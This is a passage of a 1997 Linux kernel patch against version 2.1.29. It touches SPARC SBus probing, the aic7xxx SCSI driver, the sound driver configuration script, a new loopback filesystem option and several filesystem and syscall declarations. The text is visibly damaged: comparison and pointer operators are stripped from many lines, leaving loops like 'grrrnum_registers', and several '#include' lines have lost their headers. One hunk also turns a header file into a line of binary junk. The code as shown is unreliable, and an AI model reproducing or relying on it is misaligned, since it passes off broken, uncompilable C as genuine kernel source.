sbus_dev->slot = sbus_dev_slot(base); - sbus_dev->offset = sbus_dev_offset(base); - } else { /* Grrr, gotta do calculations to fix things up */ - sbus_dev->slot = sbus_dev->reg_addrs[0].which_io; - sbus_dev->offset = base; - sbus_dev->reg_addrs[0].phys_addr = - (char *) sbus_devaddr(sbus_dev->slot, base); - for(grrr=1; grrrnum_registers; grrr++) { - base = (unsigned long) sbus_dev->reg_addrs[grrr].phys_addr; - sbus_dev->reg_addrs[grrr].phys_addr = (char *) - sbus_devaddr(sbus_dev->slot, base); - } - /* That surely sucked */ - } - sbus_dev->sbus_addr = (unsigned long) sbus_dev->reg_addrs[0].phys_addr; - - if(len>(sizeof(struct linux_prom_registers)*PROMREG_MAX)) { - prom_printf("WHOOPS: I got too many register addresses for %s len=%d\n", - sbus_dev->prom_name, len); - panic("sbus device register overflow"); - } - -no_regs: - len = prom_getproperty(nd, "address", (void *) sbus_dev->sbus_vaddrs, - sizeof(sbus_dev->sbus_vaddrs)); - if(len == -1) len=0; - if(len&3) { - prom_printf("Grrr, I didn't get a multiple of 4 proplen " - "for device %s got %d\n", sbus_dev->prom_name, len); - len=0; - } - sbus_dev->num_vaddrs = (len/4); - - len = prom_getproperty(nd, "intr", (void *)sbus_dev->irqs, - sizeof(sbus_dev->irqs)); - if (len == -1) len=0; - if (len&7) { - prom_printf("Grrr, I didn't get a multiple of 8 proplen for " - "device %s got %d\n", sbus_dev->prom_name, len); - len=0; - } - sbus_dev->num_irqs=(len/8); -#if OLD_STYLE_IRQ - /* Grrr, V3 prom tries to be efficient */ - for(len=0; lennum_irqs; len++) { - sbus_dev->irqs[len].pri &= 0xf; - } -#endif - if(sbus_dev->num_irqs == 0) sbus_dev->irqs[0].pri=0; - -#ifdef DEBUG_FILL - prom_printf("Found %s at SBUS slot %x offset %08lx irq-level %d\n", - sbus_dev->prom_name, sbus_dev->slot, sbus_dev->offset, - sbus_dev->irqs[0].pri); - prom_printf("Base address %08lx\n", sbus_dev->sbus_addr); - prom_printf("REGISTERS: Probed %d register(s)\n", sbus_dev->num_registers); - for(len=0; lennum_registers; len++) - prom_printf("Regs<%d> at address<%08lx> IO-space<%d> size<%d " - "bytes, %d words>\n", (int) len, - (unsigned long) sbus_dev->reg_addrs[len].phys_addr, - sbus_dev->reg_addrs[len].which_io, - sbus_dev->reg_addrs[len].reg_size, - (sbus_dev->reg_addrs[len].reg_size/4)); -#endif - - return; -} - -/* This routine gets called from whoever needs the sbus first, to scan - * the SBus device tree. Currently it just prints out the devices - * found on the bus and builds trees of SBUS structs and attached - * devices. - */ - -extern unsigned long sun_console_init(unsigned long); -extern unsigned long iommu_init(int iommu_node, unsigned long memstart, - unsigned long memend, struct linux_sbus *sbus); -extern void iommu_sun4d_init(int sbi_node, struct linux_sbus *sbus); -#ifdef CONFIG_SUN_OPENPROMIO -extern int openprom_init(void); -#endif -#ifdef CONFIG_SUN_MOSTEK_RTC -extern int rtc_init(void); -#endif -#ifdef CONFIG_SPARCAUDIO -extern int sparcaudio_init(void); -#endif - -__initfunc(static unsigned long -sbus_do_child_siblings(unsigned long memory_start, int start_node, - struct linux_sbus_device *child, - struct linux_sbus *sbus)) -{ - struct linux_sbus_device *this_dev = child; - int this_node = start_node; - - /* Child already filled in, just need to traverse siblings. */ - child->child = 0; - while((this_node = prom_getsibling(this_node)) != 0) { - this_dev->next = (struct linux_sbus_device *) memory_start; - memory_start += sizeof(struct linux_sbus_device); - this_dev = this_dev->next; - this_dev->next = 0; - - fill_sbus_device(this_node, this_dev); - this_dev->my_bus = sbus; - - if(prom_getchild(this_node)) { - this_dev->child = (struct linux_sbus_device *) memory_start; - memory_start += sizeof(struct linux_sbus_device); - fill_sbus_device(prom_getchild(this_node), this_dev->child); - this_dev->child->my_bus = sbus; - memory_start = sbus_do_child_siblings(memory_start, - prom_getchild(this_node), - this_dev->child, - sbus); - } else { - this_dev->child = 0; - } - } - return memory_start; -} - -__initfunc(unsigned long -sbus_init(unsigned long memory_start, unsigned long memory_end)) -{ - register int nd, this_sbus, sbus_devs, topnd, iommund; - unsigned int sbus_clock; - struct linux_sbus *sbus; - struct linux_sbus_device *this_dev; - int num_sbus = 0; /* How many did we find? */ - - memory_start = ((memory_start + 7) & (~7)); - - topnd = prom_getchild(prom_root_node); - - /* Finding the first sbus is a special case... */ - iommund = 0; - if (sparc_cpu_model == sun4d) { - if((iommund = prom_searchsiblings(topnd, "io-unit")) == 0 || - (nd = prom_getchild(iommund)) == 0 || - (nd = prom_searchsiblings(nd, "sbi")) == 0) { - panic("sbi not found"); - } - } else if((nd = prom_searchsiblings(topnd, "sbus")) == 0) { - if((iommund = prom_searchsiblings(topnd, "iommu")) == 0 || - (nd = prom_getchild(iommund)) == 0 || - (nd = prom_searchsiblings(nd, "sbus")) == 0) { - /* No reason to run further - the data access trap will occur. */ - panic("sbus not found"); - } - } - - /* Ok, we've found the first one, allocate first SBus struct - * and place in chain. - */ - sbus = SBus_chain = (struct linux_sbus *) memory_start; - memory_start += sizeof(struct linux_sbus); - sbus->next = 0; - this_sbus=nd; - - /* Have IOMMU will travel. XXX grrr - this should be per sbus... */ - if(iommund) { - if (sparc_cpu_model == sun4d) - iommu_sun4d_init(this_sbus, sbus); - else - memory_start = iommu_init(iommund, memory_start, memory_end, sbus); - } - - /* Loop until we find no more SBUS's */ - while(this_sbus) { - printk("sbus%d: ", num_sbus); - sbus_clock = prom_getint(this_sbus, "clock-frequency"); - if(sbus_clock==-1) sbus_clock = (25*1000*1000); - printk("Clock %d.%d MHz\n", (int) ((sbus_clock/1000)/1000), - (int) (((sbus_clock/1000)%1000 != 0) ? - (((sbus_clock/1000)%1000) + 1000) : 0)); - - prom_getstring(this_sbus, "name", lbuf, sizeof(lbuf)); - sbus->prom_node = this_sbus; - strcpy(sbus->prom_name, lbuf); - sbus->clock_freq = sbus_clock; - - prom_sbus_ranges_init (iommund, sbus); - - sbus_devs = prom_getchild(this_sbus); - - sbus->devices = (struct linux_sbus_device *) memory_start; - memory_start += sizeof(struct linux_sbus_device); - - this_dev = sbus->devices; - this_dev->next = 0; - - fill_sbus_device(sbus_devs, this_dev); - this_dev->my_bus = sbus; - - /* Should we traverse for children? */ - if(prom_getchild(sbus_devs)) { - /* Allocate device node */ - this_dev->child = (struct linux_sbus_device *) memory_start; - memory_start += sizeof(struct linux_sbus_device); - /* Fill it */ - fill_sbus_device(prom_getchild(sbus_devs), this_dev->child); - this_dev->child->my_bus = sbus; - memory_start = sbus_do_child_siblings(memory_start, - prom_getchild(sbus_devs), - this_dev->child, - sbus); - } else { - this_dev->child = 0; - } - - while((sbus_devs = prom_getsibling(sbus_devs)) != 0) { - /* Allocate device node */ - this_dev->next = (struct linux_sbus_device *) memory_start; - memory_start += sizeof(struct linux_sbus_device); - this_dev=this_dev->next; - this_dev->next=0; - - /* Fill it */ - fill_sbus_device(sbus_devs, this_dev); - this_dev->my_bus = sbus; - - /* Is there a child node hanging off of us? */ - if(prom_getchild(sbus_devs)) { - /* Get new device struct */ - this_dev->child = - (struct linux_sbus_device *) memory_start; - memory_start += sizeof(struct linux_sbus_device); - - /* Fill it */ - fill_sbus_device(prom_getchild(sbus_devs), - this_dev->child); - this_dev->child->my_bus = sbus; - memory_start = sbus_do_child_siblings( - memory_start, - prom_getchild(sbus_devs), - this_dev->child, - sbus); - } else { - this_dev->child = 0; - } - } - - memory_start = dvma_init(sbus, memory_start); - - num_sbus++; - if (sparc_cpu_model == sun4d) { - iommund = prom_getsibling(iommund); - if(!iommund) break; - iommund = prom_searchsiblings(iommund, "io-unit"); - if(!iommund) break; - this_sbus = prom_searchsiblings(prom_getchild(iommund), "sbi"); - } else { - this_sbus = prom_getsibling(this_sbus); - if(!this_sbus) break; - this_sbus = prom_searchsiblings(this_sbus, "sbus"); - } - if(this_sbus) { - sbus->next = (struct linux_sbus *) memory_start; - memory_start += sizeof(struct linux_sbus); - sbus = sbus->next; - sbus->next = 0; - } else { - break; - } - } /* while(this_sbus) */ - memory_start = sun_console_init(memory_start); /* whee... */ -#ifdef CONFIG_SUN_OPENPROMIO - openprom_init(); -#endif -#ifdef CONFIG_SUN_MOSTEK_RTC - rtc_init(); -#endif -#ifdef CONFIG_SPARCAUDIO - sparcaudio_init(); -#endif -#ifdef CONFIG_SUN_BPP - bpp_init(); -#endif - return memory_start; -} diff -u --recursive --new-file linux-2.1.29/drivers/scsi/aic7xxx.c linux/drivers/scsi/aic7xxx.c --- linux-2.1.29/drivers/scsi/aic7xxx.c Sat May 10 18:12:30 1997 +++ linux/drivers/scsi/aic7xxx.c Fri Feb 21 18:34:35 1997 @@ -1805,7 +1805,13 @@ * Search the QINFIFO. */ { +#if 1 + static int big_saved_queue[8][AIC7XXX_MAXSCB]; + static int big_saved_queue_depth = 0; + int *saved_queue = big_saved_queue[big_saved_queue_depth++]; +#else int saved_queue[AIC7XXX_MAXSCB]; +#endif int queued = inb(QINCNT + base) & p->qcntmask; for (i = 0; i < (queued - found); i++) @@ -1836,6 +1842,9 @@ { outb(saved_queue[queued], QINFIFO + base); } +#if 1 + big_saved_queue_depth--; +#endif } /* @@ -2469,7 +2478,13 @@ * the queue instead. */ int i; +#if 1 + static int big_saved_queue[8][AIC7XXX_MAXSCB]; + static int big_saved_queue_depth = 0; + int *saved_queue = big_saved_queue[big_saved_queue_depth++]; +#else int saved_queue[AIC7XXX_MAXSCB]; +#endif int queued = inb(QINCNT + base) & p->qcntmask; /* Count the command we removed already */ @@ -2492,6 +2507,9 @@ outb(saved_queue[queued], SCBPTR + base); tag = inb(SCB_TAG + base); outscb = (p->scb_array[tag]); +#if 1 + big_saved_queue_depth --; +#endif } scb->position = outscb->position; outscb->position = SCB_LIST_NULL; diff -u --recursive --new-file linux-2.1.29/drivers/sound/Config.in linux/drivers/sound/Config.in --- linux-2.1.29/drivers/sound/Config.in Sat May 10 18:17:41 1997 +++ linux/drivers/sound/Config.in Sun Mar 23 14:53:51 1997 @@ -1,15 +1,277 @@ -# -# Sound driver configuration -# -#-------- -# There is another confic script which is compatible with rest of -# the kernel. It can be activated by running 'make mkscript' in this -# directory. Please note that this is an _experimental_ feature which -# doesn't work with all cards (PSS, SM Wave, AudioTriX Pro, Maui). -#-------- -# -$MAKE -C drivers/sound config || exit 1 +bool 'ProAudioSpectrum 16 support' CONFIG_PAS +bool '_TRUE_ Sound Blaster (SB, SBPro, SB16/32/64, ESS, Jazz16) support' CONFIG_SB +bool 'Generic OPL2/OPL3 FM synthesizer support' CONFIG_ADLIB +bool 'Gravis Ultrasound support' CONFIG_GUS +bool 'MPU-401 support (NOT for SB16)' CONFIG_MPU401 +bool 'PSS (ECHO-ADI2111) support' CONFIG_PSS +bool '16 bit sampling option of GUS (_NOT_ GUS MAX)' CONFIG_GUS16 +bool 'GUS MAX support' CONFIG_GUSMAX +bool 'Microsoft Sound System support' CONFIG_MSS +bool 'Ensoniq SoundScape support' CONFIG_SSCAPE +bool 'MediaTrix AudioTrix Pro support' CONFIG_TRIX +bool 'Support for MAD16 and/or Mozart based cards' CONFIG_MAD16 +bool 'Support for Crystal CS4232 based (PnP) cards' CONFIG_CS4232 +bool 'Support for Turtle Beach Wave Front (Maui, Tropez) synthesizers' CONFIG_MAUI +bool 'FM synthesizer (YM3812/OPL-3) support' CONFIG_YM3812 + +if [ "$CONFIG_AEDSP16" = "y" ]; then +hex 'I/O base for Audio Excel DSP 16 220 or 240' AEDSP16_BASE 220 +fi + +if [ "$CONFIG_SB" = "y" ]; then +hex 'I/O base for SB Check from manual of the card' SBC_BASE 220 +fi + +if [ "$CONFIG_SB" = "y" ]; then +int 'Sound Blaster IRQ Check from manual of the card' SBC_IRQ 7 +fi + +if [ "$CONFIG_SB" = "y" ]; then +int 'Sound Blaster DMA 0, 1 or 3' SBC_DMA 1 +fi + +if [ "$CONFIG_SB" = "y" ]; then +int 'Sound Blaster 16 bit DMA (SB16, Jazz16, SMW) 5, 6 or 7 (use 1 for 8 bit cards)' SB_DMA2 5 +fi + +if [ "$CONFIG_SB" = "y" ]; then +hex 'MPU401 I/O base of SB16, Jazz16 and ES1688 Check from manual of the card' SB_MPU_BASE 330 +fi + + +if [ "$CONFIG_SB" = "y" ]; then +comment 'MPU401 IRQ is only required with Jazz16, SM Wave and ESS1688.' +fi + + +if [ "$CONFIG_SB" = "y" ]; then +comment 'Enter -1 to the following question if you have something else such as SB16/32.' +fi + +if [ "$CONFIG_SB" = "y" ]; then +int 'SB MPU401 IRQ (Jazz16, SM Wave and ES1688) Check from manual of the card' SB_MPU_IRQ -1 +fi + +if [ "$CONFIG_PAS" = "y" ]; then +int 'PAS16 IRQ 3, 4, 5, 7, 9, 10, 11, 12, 14 or 15' PAS_IRQ 10 +fi + +if [ "$CONFIG_PAS" = "y" ]; then +int 'PAS16 DMA 0, 1, 3, 5, 6 or 7' PAS_DMA 3 +fi + +if [ "$CONFIG_GUS" = "y" ]; then +hex 'I/O base for GUS 210, 220, 230, 240, 250 or 260' GUS_BASE 220 +fi + +if [ "$CONFIG_GUS" = "y" ]; then +int 'GUS IRQ 3, 5, 7, 9, 11, 12 or 15' GUS_IRQ 15 +fi + +if [ "$CONFIG_GUS" = "y" ]; then +int 'GUS DMA 1, 3, 5, 6 or 7' GUS_DMA 6 +fi + +if [ "$CONFIG_GUS" = "y" ]; then +int 'Second DMA channel for GUS 1, 3, 5, 6 or 7' GUS_DMA2 -1 +fi + +if [ "$CONFIG_GUS16" = "y" ]; then +hex 'I/O base for the 16 bit daughtercard of GUS 530, 604, E80 or F40' GUS16_BASE 530 +fi + +if [ "$CONFIG_GUS16" = "y" ]; then +int 'GUS 16 bit daughtercard IRQ 3, 4, 5, 7, or 9' GUS16_IRQ 7 +fi + +if [ "$CONFIG_GUS16" = "y" ]; then +int 'GUS DMA 0, 1 or 3' GUS16_DMA 3 +fi + +if [ "$CONFIG_MPU401" = "y" ]; then +hex 'I/O base for MPU401 Check from manual of the card' MPU_BASE 330 +fi + +if [ "$CONFIG_MPU401" = "y" ]; then +int 'MPU401 IRQ Check from manual of the card' MPU_IRQ 9 +fi + + +if [ "$CONFIG_MAUI" = "y" ]; then +comment 'ERROR! You have to use old sound configuration method with Maui.' +fi + +if [ "$CONFIG_MAUI" = "y" ]; then +hex 'I/O base for Maui 210, 230, 260, 290, 300, 320, 338 or 330' MAUI_BASE 330 +fi + +if [ "$CONFIG_MAUI" = "y" ]; then +int 'Maui IRQ 5, 9, 12 or 15' MAUI_IRQ 9 +fi + +if [ "$CONFIG_UART6850" = "y" ]; then +hex 'I/O base for UART 6850 MIDI port (Unknown)' U6850_BASE 0 +fi + +if [ "$CONFIG_UART6850" = "y" ]; then +int 'UART6850 IRQ (Unknown)' U6850_IRQ -1 +fi + + +if [ "$CONFIG_PSS" = "y" ]; then +comment 'ERROR! You have to use old sound configuration method with PSS cards.' +fi + +if [ "$CONFIG_PSS" = "y" ]; then +hex 'PSS I/O base 220 or 240' PSS_BASE 220 +fi + +if [ "$CONFIG_PSS" = "y" ]; then +hex 'PSS audio I/O base 530, 604, E80 or F40' PSS_MSS_BASE 530 +fi + +if [ "$CONFIG_PSS" = "y" ]; then +int 'PSS audio IRQ 7, 9, 10 or 11' PSS_MSS_IRQ 11 +fi +if [ "$CONFIG_PSS" = "y" ]; then +int 'PSS audio DMA 0, 1 or 3' PSS_MSS_DMA 3 +fi + +if [ "$CONFIG_PSS" = "y" ]; then +hex 'PSS MIDI I/O base ' PSS_MPU_BASE 330 +fi + +if [ "$CONFIG_PSS" = "y" ]; then +int 'PSS MIDI IRQ 3, 4, 5, 7 or 9' PSS_MPU_IRQ 9 +fi + +if [ "$CONFIG_MSS" = "y" ]; then +hex 'MSS/WSS I/O base 530, 604, E80 or F40' MSS_BASE 530 +fi + +if [ "$CONFIG_MSS" = "y" ]; then +int 'MSS/WSS IRQ 7, 9, 10 or 11' MSS_IRQ 11 +fi + +if [ "$CONFIG_MSS" = "y" ]; then +int 'MSS/WSS DMA 0, 1 or 3' MSS_DMA 3 +fi + +if [ "$CONFIG_MSS" = "y" ]; then +int 'MSS/WSS second DMA (if possible) 0, 1 or 3' MSS_DMA2 -1 +fi + +if [ "$CONFIG_SSCAPE" = "y" ]; then +hex 'SoundScape MIDI I/O base 320, 330, 340 or 350' SSCAPE_BASE 330 +fi + +if [ "$CONFIG_SSCAPE" = "y" ]; then +int 'SoundScape MIDI IRQ ' SSCAPE_IRQ 9 +fi + +if [ "$CONFIG_SSCAPE" = "y" ]; then +int 'SoundScape initialization DMA 0, 1 or 3' SSCAPE_DMA 3 +fi + +if [ "$CONFIG_SSCAPE" = "y" ]; then +hex 'SoundScape audio I/O base 534, 608, E84 or F44' SSCAPE_MSS_BASE 534 +fi + +if [ "$CONFIG_SSCAPE" = "y" ]; then +int 'SoundScape audio IRQ 7, 9, 10 or 11' SSCAPE_MSS_IRQ 11 +fi + + +if [ "$CONFIG_TRIX" = "y" ]; then +comment 'ERROR! You have to use old sound configuration method with AudioTrix.' +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +hex 'AudioTrix audio I/O base 530, 604, E80 or F40' TRIX_BASE 530 +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +int 'AudioTrix audio IRQ 7, 9, 10 or 11' TRIX_IRQ 11 +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +int 'AudioTrix audio DMA 0, 1 or 3' TRIX_DMA 0 +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +int 'AudioTrix second (duplex) DMA 0, 1 or 3' TRIX_DMA2 3 +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +hex 'AudioTrix MIDI I/O base 330, 370, 3B0 or 3F0' TRIX_MPU_BASE 330 +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +int 'AudioTrix MIDI IRQ 3, 4, 5, 7 or 9' TRIX_MPU_IRQ 9 +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +hex 'AudioTrix SB I/O base 220, 210, 230, 240, 250, 260 or 270' TRIX_SB_BASE 220 +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +int 'AudioTrix SB IRQ 3, 4, 5 or 7' TRIX_SB_IRQ 7 +fi + +if [ "$CONFIG_TRIX" = "y" ]; then +int 'AudioTrix SB DMA 1 or 3' TRIX_SB_DMA 1 +fi + +if [ "$CONFIG_CS4232" = "y" ]; then +hex 'CS4232 audio I/O base 530, 604, E80 or F40' CS4232_BASE 530 +fi + +if [ "$CONFIG_CS4232" = "y" ]; then +int 'CS4232 audio IRQ 5, 7, 9, 11, 12 or 15' CS4232_IRQ 11 +fi + +if [ "$CONFIG_CS4232" = "y" ]; then +int 'CS4232 audio DMA 0, 1 or 3' CS4232_DMA 0 +fi + +if [ "$CONFIG_CS4232" = "y" ]; then +int 'CS4232 second (duplex) DMA 0, 1 or 3' CS4232_DMA2 3 +fi + +if [ "$CONFIG_CS4232" = "y" ]; then +hex 'CS4232 MIDI I/O base 330, 370, 3B0 or 3F0' CS4232_MPU_BASE 330 +fi + +if [ "$CONFIG_CS4232" = "y" ]; then +int 'CS4232 MIDI IRQ 5, 7, 9, 11, 12 or 15' CS4232_MPU_IRQ 9 +fi + +if [ "$CONFIG_MAD16" = "y" ]; then +hex 'MAD16 audio I/O base 530, 604, E80 or F40' MAD16_BASE 530 +fi + +if [ "$CONFIG_MAD16" = "y" ]; then +int 'MAD16 audio IRQ 7, 9, 10 or 11' MAD16_IRQ 11 +fi + +if [ "$CONFIG_MAD16" = "y" ]; then +int 'MAD16 audio DMA 0, 1 or 3' MAD16_DMA 3 +fi + +if [ "$CONFIG_MAD16" = "y" ]; then +int 'MAD16 second (duplex) DMA 0, 1 or 3' MAD16_DMA2 0 +fi + +if [ "$CONFIG_MAD16" = "y" ]; then +hex 'MAD16 MIDI I/O base 300, 310, 320 or 330 (0 disables)' MAD16_MPU_BASE 330 +fi + +if [ "$CONFIG_MAD16" = "y" ]; then +int 'MAD16 MIDI IRQ 5, 7, 9 or 10' MAD16_MPU_IRQ 9 +fi +# +$MAKE -C drivers/sound kernelconfig || exit 1 bool 'Additional low level drivers' CONFIG_LOWLEVEL_SOUND if [ "$CONFIG_LOWLEVEL_SOUND" = "y" ]; then Binary files linux-2.1.29/drivers/sound/lowlevel/awe_hw.h and linux/drivers/sound/lowlevel/awe_hw.h differ Binary files linux-2.1.29/drivers/sound/lowlevel/awe_wave.c and linux/drivers/sound/lowlevel/awe_wave.c differ Binary files linux-2.1.29/drivers/sound/lowlevel/init.c and linux/drivers/sound/lowlevel/init.c differ diff -u --recursive --new-file linux-2.1.29/drivers/sound/lowlevel/lowlevel.h linux/drivers/sound/lowlevel/lowlevel.h --- linux-2.1.29/drivers/sound/lowlevel/lowlevel.h Sat May 10 18:12:31 1997 +++ linux/drivers/sound/lowlevel/lowlevel.h Mon Dec 16 22:11:08 1996 @@ -1,5 +1 @@ -#ifdef LOWLEVEL_MODULE -#define MODVERSIONS -#include -#include "manual_config.h" -#endif +Î}whߧg\f_cZHGr10ݕf%L%('ȣęۨ'E8d,!0m8Y\!T8?E \ No newline at end of file diff -u --recursive --new-file linux-2.1.29/fs/Config.in linux/fs/Config.in --- linux-2.1.29/fs/Config.in Sat May 10 18:17:04 1997 +++ linux/fs/Config.in Fri Feb 21 18:34:35 1997 @@ -37,6 +37,7 @@ tristate 'System V and Coherent filesystem support' CONFIG_SYSV_FS tristate 'Amiga FFS filesystem support' CONFIG_AFFS_FS tristate 'ROM filesystem support' CONFIG_ROMFS_FS +tristate 'Loopback filesystem support' CONFIG_LO_FS if [ "$CONFIG_AFFS_FS" != "n" ]; then define_bool CONFIG_AMIGA_PARTITION y fi diff -u --recursive --new-file linux-2.1.29/fs/Makefile linux/fs/Makefile --- linux-2.1.29/fs/Makefile Sat May 10 18:17:04 1997 +++ linux/fs/Makefile Fri Feb 21 18:34:35 1997 @@ -145,6 +145,14 @@ endif endif +ifeq ($(CONFIG_LO_FS),y) +SUB_DIRS += lo +else + ifeq ($(CONFIG_LO_FS),m) + MOD_SUB_DIRS += lo + endif +endif + ifeq ($(CONFIG_ROMFS_FS),y) SUB_DIRS += romfs else diff -u --recursive --new-file linux-2.1.29/fs/affs/dir.c linux/fs/affs/dir.c --- linux-2.1.29/fs/affs/dir.c Sat May 10 18:17:13 1997 +++ linux/fs/affs/dir.c Sun Mar 23 12:51:50 1997 @@ -45,6 +45,7 @@ */ struct inode_operations affs_dir_inode_operations = { &affs_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ affs_create, /* create */ affs_lookup, /* lookup */ affs_link, /* link */ @@ -60,7 +61,7 @@ NULL, /* writepage */ NULL, /* bmap */ NULL, /* truncate */ - NULL /* permissions */ + NULL, /* permissions */ }; static long diff -u --recursive --new-file linux-2.1.29/fs/affs/file.c linux/fs/affs/file.c --- linux-2.1.29/fs/affs/file.c Sat May 10 18:17:13 1997 +++ linux/fs/affs/file.c Sun Mar 23 12:58:45 1997 @@ -59,6 +59,7 @@ struct inode_operations affs_file_inode_operations = { &affs_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -93,6 +94,7 @@ struct inode_operations affs_file_inode_operations_ofs = { &affs_file_operations_ofs, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/affs/namei.c linux/fs/affs/namei.c --- linux-2.1.29/fs/affs/namei.c Sat May 10 18:12:32 1997 +++ linux/fs/affs/namei.c Fri Feb 21 18:34:35 1997 @@ -567,14 +567,14 @@ old_bh = affs_find_entry(old_dir,old_name,old_len,&old_ino); if (!old_bh) goto end_rename; - old_inode = __iget(old_dir->i_sb,old_ino,0); + old_inode = iget(old_dir->i_sb,old_ino); if (!old_inode) goto end_rename; if (must_be_dir && !S_ISDIR(old_inode->i_mode)) goto end_rename; new_bh = affs_find_entry(new_dir,new_name,new_len,&new_ino); if (new_bh) { - new_inode = __iget(new_dir->i_sb,new_ino,0); + new_inode = iget(new_dir->i_sb,new_ino); if (!new_inode) { /* What does this mean? */ affs_brelse(new_bh); new_bh = NULL; diff -u --recursive --new-file linux-2.1.29/fs/affs/symlink.c linux/fs/affs/symlink.c --- linux-2.1.29/fs/affs/symlink.c Sat May 10 18:12:32 1997 +++ linux/fs/affs/symlink.c Sun Mar 23 12:52:43 1997 @@ -24,6 +24,7 @@ struct inode_operations affs_symlink_inode_operations = { NULL, /* no file-operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -37,7 +38,7 @@ affs_follow_link, /* follow_link */ NULL, /* bmap */ NULL, /* truncate */ - NULL /* permission */ + NULL, /* permission */ }; static int diff -u --recursive --new-file linux-2.1.29/fs/buffer.c linux/fs/buffer.c --- linux-2.1.29/fs/buffer.c Sat May 10 18:17:43 1997 +++ linux/fs/buffer.c Wed Mar 5 21:35:04 1997 @@ -248,7 +248,7 @@ return sync_buffers(dev, 1); } -asmlinkage int sys_sync(void) +asmlinkage_d(int sys_sync(void)) { lock_kernel(); fsync_dev(0); @@ -261,7 +261,7 @@ return fsync_dev(inode->i_dev); } -asmlinkage int sys_fsync(unsigned int fd) +asmlinkage_d(int sys_fsync(unsigned int fd)) { struct file * file; struct inode * inode; @@ -278,7 +278,7 @@ return err; } -asmlinkage int sys_fdatasync(unsigned int fd) +asmlinkage_d(int sys_fdatasync(unsigned int fd)) { struct file * file; struct inode * inode; @@ -1495,7 +1495,7 @@ * and superblocks so that we could write back only the old ones as well */ -asmlinkage int sync_old_buffers(void) +int sync_old_buffers(void) { int i; int ndirty, nwritten; @@ -1564,7 +1564,7 @@ * We would want to verify each parameter, however, to make sure that it * is reasonable. */ -asmlinkage int sys_bdflush(int func, long data) +asmlinkage_d(int sys_bdflush(int func, long data)) { int i, error = -EPERM; diff -u --recursive --new-file linux-2.1.29/fs/dquot.c linux/fs/dquot.c --- linux-2.1.29/fs/dquot.c Sat May 10 18:17:13 1997 +++ linux/fs/dquot.c Fri Feb 21 18:34:35 1997 @@ -1002,7 +1002,7 @@ * calls. Maybe we need to add the process quotas etc in the future. * But we probably better use rlimits for that. */ -asmlinkage int sys_quotactl(int cmd, const char *special, int id, caddr_t addr) +asmlinkage_d(int sys_quotactl(int cmd, const char *special, int id, caddr_t addr)) { int cmds = 0, type = 0, flags = 0; struct inode *ino; diff -u --recursive --new-file linux-2.1.29/fs/exec.c linux/fs/exec.c --- linux-2.1.29/fs/exec.c Sat May 10 18:17:13 1997 +++ linux/fs/exec.c Fri Feb 21 18:34:35 1997 @@ -52,8 +52,8 @@ #include #endif -asmlinkage int sys_exit(int exit_code); -asmlinkage int sys_brk(unsigned long); +asmlinkage_p(int sys_exit(int exit_code)); +asmlinkage_p(int sys_brk(unsigned long)); /* * Here are the actual binaries that will be accepted: @@ -135,16 +135,17 @@ f->f_pos = 0; f->f_reada = 0; f->f_op = inode->i_op->default_file_ops; + inode->i_count++; if (f->f_op->open) { int error = f->f_op->open(inode,f); if (error) { f->f_count--; put_unused_fd(fd); + iput(inode); return error; } } current->files->fd[fd] = f; - inode->i_count++; } return fd; } @@ -155,7 +156,7 @@ * * Also note that we take the address to load from from the file itself. */ -asmlinkage int sys_uselib(const char * library) +asmlinkage_d(int sys_uselib(const char * library)) { int fd, retval; struct file * file; diff -u --recursive --new-file linux-2.1.29/fs/ext2/dir.c linux/fs/ext2/dir.c --- linux-2.1.29/fs/ext2/dir.c Sat May 10 18:17:13 1997 +++ linux/fs/ext2/dir.c Sun Mar 23 12:53:13 1997 @@ -55,6 +55,7 @@ */ struct inode_operations ext2_dir_inode_operations = { &ext2_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ ext2_create, /* create */ ext2_lookup, /* lookup */ ext2_link, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/ext2/file.c linux/fs/ext2/file.c --- linux-2.1.29/fs/ext2/file.c Sat May 10 18:17:13 1997 +++ linux/fs/ext2/file.c Sun Mar 23 12:53:39 1997 @@ -62,6 +62,7 @@ struct inode_operations ext2_file_inode_operations = { &ext2_file_operations,/* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/ext2/namei.c linux/fs/ext2/namei.c --- linux-2.1.29/fs/ext2/namei.c Sat May 10 18:12:52 1997 +++ linux/fs/ext2/namei.c Fri Feb 21 18:34:35 1997 @@ -978,7 +978,7 @@ retval = -ENOENT; if (!old_bh) goto end_rename; - old_inode = __iget (old_dir->i_sb, le32_to_cpu(old_de->inode), 0); /* don't cross mnt-points */ + old_inode = iget (old_dir->i_sb, le32_to_cpu(old_de->inode)); if (!old_inode) goto end_rename; if (must_be_dir && !S_ISDIR(old_inode->i_mode)) @@ -992,7 +992,7 @@ goto end_rename; new_bh = ext2_find_entry (new_dir, new_name, new_len, &new_de); if (new_bh) { - new_inode = __iget (new_dir->i_sb, le32_to_cpu(new_de->inode), 0); /* no mntp cross */ + new_inode = iget (new_dir->i_sb, le32_to_cpu(new_de->inode)); if (!new_inode) { brelse (new_bh); new_bh = NULL; diff -u --recursive --new-file linux-2.1.29/fs/ext2/super.c linux/fs/ext2/super.c --- linux-2.1.29/fs/ext2/super.c Sat May 10 18:16:55 1997 +++ linux/fs/ext2/super.c Fri Feb 21 18:34:35 1997 @@ -369,7 +369,7 @@ #define log2(n) ffz(~(n)) struct super_block * ext2_read_super (struct super_block * sb, void * data, - int silent) + int silent, const char * dev_name) { struct buffer_head * bh; struct ext2_super_block * es; diff -u --recursive --new-file linux-2.1.29/fs/ext2/symlink.c linux/fs/ext2/symlink.c --- linux-2.1.29/fs/ext2/symlink.c Sat May 10 18:17:13 1997 